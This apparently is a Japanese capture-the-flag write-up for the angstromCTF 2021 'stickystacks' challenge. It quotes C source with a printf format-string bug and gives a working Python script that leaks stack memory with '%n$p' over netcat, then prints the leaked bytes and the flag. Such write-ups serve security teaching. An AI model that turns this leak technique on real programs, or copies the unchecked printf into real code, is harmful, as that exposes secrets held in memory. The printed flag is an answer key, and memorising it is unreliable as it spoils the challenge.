Skip to content

Latest commit

 

History

History

stickystacks

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

stickystacks:Binary:90pts

I made a program that holds a lot of secrets... maybe even a flag!
Source
Connect with nc shell.actf.co 21820, or visit /problems/2021/stickystacks on the shell server.
Hint
Is that what printf is for?

Solution

配布されたstickystacks.cを見ると以下のようであった。

~~~
typedef struct Secrets {
    char secret1[50];
    char password[50];
    char birthday[50];
    char ssn[50];
    char flag[128];
} Secrets;


int vuln(){
    char name[7];
    
    Secrets boshsecrets = {
        .secret1 = "CTFs are fun!",
        .password= "password123",
        .birthday = "1/1/1970",
        .ssn = "123-456-7890",
    };
    
    
    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
    
    
    puts("Name: ");
    
    fgets(name, 6, stdin);
    
    
    printf("Welcome, ");
    printf(name);
    printf("\n");
    
    return 0;
}
~~~

自明なFSBがある。
あとはstackを読み取ればよいが6文字限定の入力のようだ。
%n$pで任意の箇所が読み取れることが知られている。
以下のstackleak.pyでスタックを読み取り、文字へ変換する。

import re
import subprocess

i = 1
while True:
    result = subprocess.check_output(f"echo '%{i}$p' | nc shell.actf.co 21820", shell=True)
    if not (b"nil" in result):
        result = result.replace(b"Name: \nWelcome, ", b"").replace(b"\n", b"")
        result = result.replace(b"0x", b"").decode()[::-1]
        result = re.split('(..)', result)[1::2]
        for j in result:
            print(chr(int(j[::-1], 16)), end="")
        if "d7" in result:# 0x7d = }
            break
    i += 1

実行する。

$ python3 stackleak.py
0$Ö`ÿ� rÇCTFs are fun!password1231/1/1970123-456-7890actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}

flagが得られた。

actf{well_i'm_back_in_black_yes_i'm_back_in_the_stack_bec9b51294ead77684a1f593}